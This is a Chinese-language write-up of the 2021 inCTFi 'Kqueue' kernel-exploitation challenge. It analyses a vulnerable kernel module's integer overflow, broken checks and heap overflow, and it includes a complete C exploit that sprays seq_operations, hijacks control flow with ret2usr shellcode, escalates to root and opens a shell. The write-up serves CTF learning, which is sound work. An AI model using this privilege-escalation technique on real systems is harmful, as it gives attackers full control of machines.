2021-inCTFi-Kqueue

去年参加的一场 CTF,当时不怎么会 kernel,现在想深入学习下 kernel,回过头来看看这道题

环境 & 一些问题

题目的附件可以在官方题目仓库里找到

需要注意的几件事情:

  1. 题目的环境是用 buildroot,登陆用户名是 ctf,密码是 kqueue(可以在官方的 exp.py 里面找到)
  2. 解包/重新打包 rootfs.cpio 的时候记得用 root 权限,不然启动的时候会有奇奇怪怪的权限或者文件丢失的问题

漏洞分析

qemu 启动参数

#!/bin/bash

exec qemu-system-x86_64 \
    -cpu kvm64 \
    -m 512 \
    -nographic \
    -kernel "bzImage" \
    -append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
    -monitor /dev/null \
    -initrd "./rootfs.cpio.pack" \
    -net user \
    -net nic

开启了 kaslr,关闭了 kpti,而且还没开启 SMAP,SMEP,意味着内核可以访问用户空间代码和数据,可以 ret2usr

内核模块直接提供了源码

题目创建了一个设备,可以对这个设备进行 ioctl 调用

struct miscdevice kqueue_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "kqueue",
    .fops = &kqueue_fops,
};

ioctl 通过一个 request_t 结构体进行传参

typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;

此外通过 cmd 参数分别实现管理多个队列的增删改查

static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

    long result;

    request_t request;
    
    mutex_lock(&operations_lock);

    if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
        err("[-] copy_from_user failed");
        goto ret;
    }

    switch(cmd){
        case CREATE_KQUEUE:
            result = create_kqueue(request);
            break;
        case DELETE_KQUEUE:
            result = delete_kqueue(request);
            break;
        case EDIT_KQUEUE:
            result = edit_kqueue(request);
            break;
        case SAVE:
            result = save_kqueue_entries(request);
            break;
        default:
            result = INVALID;
            break;
    }
ret: 
    mutex_unlock(&operations_lock);
    return result;
}

队列的存储结构体如下:

typedef struct{
    uint16_t data_size;
    uint64_t queue_size; /* This needs to handle larger numbers */
    uint32_t max_entries;
    uint16_t idx;
    char* data;
}queue;

struct queue_entry{
    uint16_t idx;
    char *data;
    queue_entry *next;
};

create 操作:

static noinline long create_kqueue(request_t request){
    long result = INVALID;

    if(queueCount > MAX_QUEUES)
        err("[-] Max queue count reached");

    /* You can't ask for 0 queues , how meaningless */
    if(request.max_entries<1)
        err("[-] kqueue entries should be greater than 0");

    /* Asking for too much is also not good */
    if(request.data_size>MAX_DATA_SIZE)
        err("[-] kqueue data size exceed");

    /* Initialize kqueue_entry structure */
    queue_entry *kqueue_entry;

    /* Check if multiplication of 2 64 bit integers results in overflow */
    ull space = 0;
    if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
        err("[-] Integer overflow");

    /* Size is the size of queue structure + size of entry * request entries */
    ull queue_size = 0;
    if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
        err("[-] Integer overflow");

    /* Total size should not exceed a certain limit */
    if(queue_size>sizeof(queue) + 0x10000)
        err("[-] Max kqueue alloc limit reached");

    /* All checks done , now call kzalloc */
    queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

    /* Main queue can also store data */
    queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

    /* Fill the remaining queue structure */
    queue->data_size   = request.data_size;
    queue->max_entries = request.max_entries;
    queue->queue_size  = queue_size;

    /* Get to the place from where memory has to be handled */
    kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

    /* Allocate all kqueue entries */
    queue_entry* current_entry = kqueue_entry;
    queue_entry* prev_entry = current_entry;

    uint32_t i=1;
    for(i=1;i<request.max_entries+1;i++){
        if(i!=request.max_entries)
            prev_entry->next = NULL;
        current_entry->idx = i;
        current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

        /* Increment current_entry by size of queue_entry */
        current_entry += sizeof(queue_entry)/16;

        /* Populate next pointer of the previous entry */
        prev_entry->next = current_entry;
        prev_entry = prev_entry->next;
    }

    /* Find an appropriate slot in kqueues */
    uint32_t j = 0;
    for(j=0;j<MAX_QUEUES;j++){
        if(kqueues[j] == NULL)
            break;
    }

    if(j>MAX_QUEUES)
        err("[-] No kqueue slot left");

    /* Assign the newly created kqueue to the kqueues */
    kqueues[j] = queue;
    queueCount++;
    result = 0;
    return result;
}

create 分配队列,queue 的 data 字段和每个 entry 的 data 字段,分配 data_size 大小的内存,所有entry 结构紧跟在 queue 后面,entry 之间还通过 next 指针链接起来,queue 指针存放到全局 kqueues 变量数组里,queue 的情况大致如下:

queue(size = sizeof(queue_entry) * (request.max_entries+1) + sizeof(queue)):
	data_size
    queue_size
    max_entries
    idx
    data
    struct queue_entry[max_entries];

其中的 __builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) 的作用是 space = sizeof(queue_entry) * (request.max_entries+1),并且乘法溢出的时候返回 true,后面的 __builtin_saddll_overflow 就是加法溢出检查了

溢出检查存在一个问题,就是 (request.max_entries+1) 这里本身没有做溢出检查,使 max_entries 为 0xffffffff,那么加 1 溢出为0,最后计算出来 queue_size = sizeof(queue) 就不对了

然后还有一个应该是出题人写错的地方,就是这个 err 是个函数:

static long err(char* msg){
    printk(KERN_ALERT "%s\n",msg);
    return -1;
}

所有的检查失败都调用这个函数,但是这个函数并不会影响后面的流程,那么所有的参数检查都是无效的,因为这个问题,后面利用的时候比官方 wp 还要简单,应该是非预期了,如果 err 写成宏函数就没有问题了

delete 操作只是把队列删掉了,指针也置 NULL 了,不过还有槽点,指针 free 后还要改写其指向内容,这会破坏堆管理吧(应该又是写错了):

static noinline long delete_kqueue(request_t request){
    /* Check for out of bounds requests */
    if(request.queue_idx>MAX_QUEUES)
        err("[-] Invalid idx");

    /* Check for existence of the request kqueue */
    queue *queue = kqueues[request.queue_idx];
    if(!queue)
        err("[-] Requested kqueue does not exist");
    
    kfree(queue);
    memset(queue,0,queue->queue_size);  // UAF
    kqueues[request.queue_idx] = NULL;
    return 0;
}

edit 操作:

static noinline long edit_kqueue(request_t request){
    /* Check the idx of the kqueue */
    if(request.queue_idx > MAX_QUEUES)
        err("[-] Invalid kqueue idx");

    /* Check if the kqueue exists at that idx */
    queue *queue = kqueues[request.queue_idx];
    if(!queue)
        err("[-] kqueue does not exist");

    /* Check the idx of the kqueue entry */
    if(request.entry_idx > queue->max_entries)
        err("[-] Invalid kqueue entry_idx");

    /* Get to the kqueue entry memory */
    queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

    /* Check for the existence of the kqueue entry */
    exists = false;
    uint32_t i=1;
    for(i=1;i<queue->max_entries+1;i++){
        
        /* If kqueue entry found , do the necessary */
        if(kqueue_entry && request.data && queue->data_size){
            if(kqueue_entry->idx == request.entry_idx){
                validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
                exists = true;
            }
        }
        kqueue_entry = kqueue_entry->next;
    }

    /* What if the idx is 0, it means we have to update the main kqueue's data */
    if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
        validate(memcpy(queue->data,request.data,queue->data_size));
        return 0;
    }

    if(!exists)
        return NOT_EXISTS;
    return 0;
} 

根据参数 queue_idx 选择队列,找到 entry_idx 对应的 entry 写入 data 指向的数据,需要注意的是 queue 结构体也有一个 data 字段,这个相当于 entry_idx 为 0 的 entry,可以算是头节点吧,没有什么漏洞点,但是这里也有个槽点,就是这个 request->data 可是用户地址空间的指针,要不是 SMAP 没开,validate(memcpy(kqueue_entry->data,request.data,queue->data_size)); 就炸了

save 操作:

static noinline long save_kqueue_entries(request_t request){

    /* Check for out of bounds queue_idx requests */
    if(request.queue_idx > MAX_QUEUES)
        err("[-] Invalid kqueue idx");

    /* Check if queue is already saved or not */
    if(isSaved[request.queue_idx]==true)
        err("[-] Queue already saved");

    queue *queue = validate(kqueues[request.queue_idx]);

    /* Check if number of requested entries exceed the existing entries */
    if(request.max_entries < 1 || request.max_entries > queue->max_entries)
        err("[-] Invalid entry count");

    /* Allocate memory for the kqueue to be saved */
    char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));

    /* Each saved entry can have its own size */
    if(request.data_size > queue->queue_size)
        err("[-] Entry size limit exceed");

    /* Copy main's queue's data */
    if(queue->data && request.data_size)
        validate(memcpy(new_queue,queue->data,request.data_size));
    else
        err("[-] Internal error");
    new_queue += queue->data_size;

    /* Get to the entries of the kqueue */
    queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

    /* copy all possible kqueue entries */
    uint32_t i=0;
    for(i=1;i<request.max_entries+1;i++){
        if(!kqueue_entry || !kqueue_entry->data)
            break;
        if(kqueue_entry->data && request.data_size)
            validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
        else
            err("[-] Internal error");
        kqueue_entry = kqueue_entry->next;
        new_queue += queue->data_size;
    }

    /* Mark the queue as saved */
    isSaved[request.queue_idx] = true;
    return 0;
}

save 操作把指定数量的 data 存放到新分配的大小为 queue_size 的内存里,然后这里有个漏洞点:

...
    /* Each saved entry can have its own size */
    if(request.data_size > queue->queue_size)
        err("[-] Entry size limit exceed");
...
    if(queue->data && request.data_size)
        validate(memcpy(new_queue,queue->data,request.data_size));
...
    for(i=1;i<request.max_entries+1;i++){
        if(!kqueue_entry || !kqueue_entry->data)
            break;
        if(kqueue_entry->data && request.data_size)
            validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
        else
            err("[-] Internal error");
        kqueue_entry = kqueue_entry->next;
        new_queue += queue->data_size;
    }

所有的 memcpy 使用的长度都是用户传递过来的 request.data_size,而参数检查里面只检查了 request.data_size 是否超过 queue->queue_size, 理应是 if(request.data_size > queue->data_size),这就存在一个堆溢出了 (虽然参数检查一点用没有

漏洞利用

方法一

如果不考虑参数检查,利用方式非常简单,同时这也是 @arttnba3 师傅的做法

  1. create 操作,利用 request.max_entries=0xffffffff 溢出,创造一个只有 0x18 大小的 queue,并且忽略参数检查,data_size 比 queue_size 大,后面 save 才能溢出
  2. 堆喷射大量的 seq_operations,堆溢出后改写 seq_operations 的指针劫持程序执行流
  3. 劫持程序执行流,ret2usr,根据栈上面的数据泄露内核基址,执行 commit_creds(prepare_kernel_cred(0)); 提权后返回用户态起 shell 即可
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>


typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;

int fd;
void create_kqueue(uint32_t max_entries, uint16_t data_size)
{
	request_t req = {
		.max_entries = max_entries,
		.data_size = data_size,
	};

	ioctl(fd, 0xDEADC0DE, &req);
}

void edit_kqueue(uint16_t queue_idx, uint16_t entry_idx,  void *data)
{
	request_t req = {
		.queue_idx = queue_idx,
		.data = (char *)data,
		.entry_idx = entry_idx,
	};

	ioctl(fd, 0xDAADEEEE, &req);
}

void delete_kqueue(uint16_t queue_idx)
{
	request_t req = {
		.queue_idx  = queue_idx,
	};

	ioctl(fd, 0xBADDCAFE, &req);
}

void save_kqueue(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{
	request_t req = {
		.queue_idx  = queue_idx,
		.data_size = data_size,
		.max_entries = max_entries,
	};

	ioctl(fd, 0xB105BABE, &req);
}

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat()
{ //保护环境
	asm(
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"movq %%rsp, %2;"
		"pushfq;"
		"popq %3;"
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
		:
		: "memory");
}

void shellcode()
{
	asm(
		"movq 8(%%rsp), %%r12;"
		"subq  $0x201179, %%r12;" // kernel base
		"movq %%r12, %%r13;"
		"addq $0x8c580, %%r13;" // prepare_kernel_cred
		"addq $0x8c140, %%r12;" // commit_cred
		"xorq %%rdi, %%rdi;"
		"call *%%r13;"
		"movq %%rax, %%rdi;"
		"call *%%r12;"
		"pushq   %0;"
		"pushq   %1;"
		"pushq   %2;"
		"pushq   %3;"
		"pushq   $shell;"
		"pushq   $0;"
		"swapgs;"
		"popq    %%rbp;"
		"iretq;" ::"m"(user_ss),
		"m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
	system("/bin/sh");
	exit(0);
}

int main(int argc, char const* argv[])
{
	uint64_t data[0x20];
	int seq_fds[0x200];

	save_stat();

	printf("shellcode address = %#lx\n", (uint64_t)shellcode);

	if ((fd = open("/dev/kqueue", O_RDWR)) < 0) {
		perror("open kqueue");
		exit(-1);
	}

	for (int i = 0; i < 0x20; i++) {
		// data[i] = (uint64_t) 0xdeeabeefdeadbeef;
		data[i] = (uint64_t)shellcode;
	}

	create_kqueue(0xffffffff, sizeof(data));
	edit_kqueue(0, 0, data);
	for (int i = 0; i < 0x200; i++) {
		seq_fds[i] = open("/proc/self/stat", O_RDONLY);
	}

	save_kqueue(0, 0, 0x40);

	for (int i = 0; i < 0x200; i++) {
		read(seq_fds[i], data, 0x10);
	}

	return 0;
}

方法二

如果要考虑参数检查,就当这个参数检查是有效的情况下,利用方式也很相似

  1. create,queue1,data_size=0x20
  2. create,queue2,max_entries=0xffffffff,queue_size=0x18,data_size=0x20,要求 queue2 后面紧跟的位置就是 queue1->data 或者 queue1_entries->data 的位置
  3. edit queue1,修改 queue1某个data,刚好是 queue2 的第一个 entries,那么就可以伪造一个 queue_entry,data为许多 shellcode 指针
  4. 堆喷射 file_operations
  5. save queue2,传递参数 max_entries=1,因为 queue2->max_entries 为 0xffffffff,所以检查是可以通过的,因为第一个 entry 已经伪造好了,data 指向许多 shellcode 指针,堆越界的时候有可能覆盖到 seq_operations 里,从而劫持程序执行流,后续操作就一样了

这个思路是 ScUpax0s师傅的 writeup 里的

具体操作起来,第一第二步可能会复杂一点,具体描述和 ScUpax0s 师傅的 writeup 有点不一样,大概是这个意思就行

详细 exp 我就不再重复了,可以参考 ScUpax0s 师傅的 writeup

方法三?

在前面的分析中,堆溢出的主要原因是 参数检查里面只检查了 request.data_size 是否超过 queue->queue_size 而不是 queue->data_size

所以 create 的加法溢出并不会对这个堆溢出有多大的影响,只是因为有这个洞的存在,使得 new_queue 分配的大小是 0x18,其相邻位置有概率是 0x20 大小的 seq_operations 结构体,方便了利用

在这里提供一个堆溢出的想法:

  1. 正常的 create ,比如 max_entries=1,data_size=0x20,那么 queue_size 为 0x18 * (1 + 1) + 0x18 即 0x48
  2. save,request->max_entries=1,request->data_size=0x30,因为 queue_size 为 0x48,通过检查
  3. memcpy 的时候,写入了 0x30 * 2 即 0x60 的数据,堆同样溢出了

通过控制 queue_size,可以控制 new_queue 堆内存的大小,再通过控制 edit,还有 save 时 request->max_entries,request->data_size,可以控制 new_queue 溢出的内容和长度

需要的就是一个合适的结构体了,初步判断 tty_struct 不太行,因为 tty_struct 的 ops 字段之前还有一些比较重要的数据不能覆盖,而 ops 字段那个结构体在源码中也没找到在哪分配的,好像是固定的静态字段,官方 writeup 说的是堆喷 tty_struct,但 exp 确实 seq_operations 没懂啥情况

才疏学浅,没想到能有哪些结构体能劫持一下,往后学习再看看

参考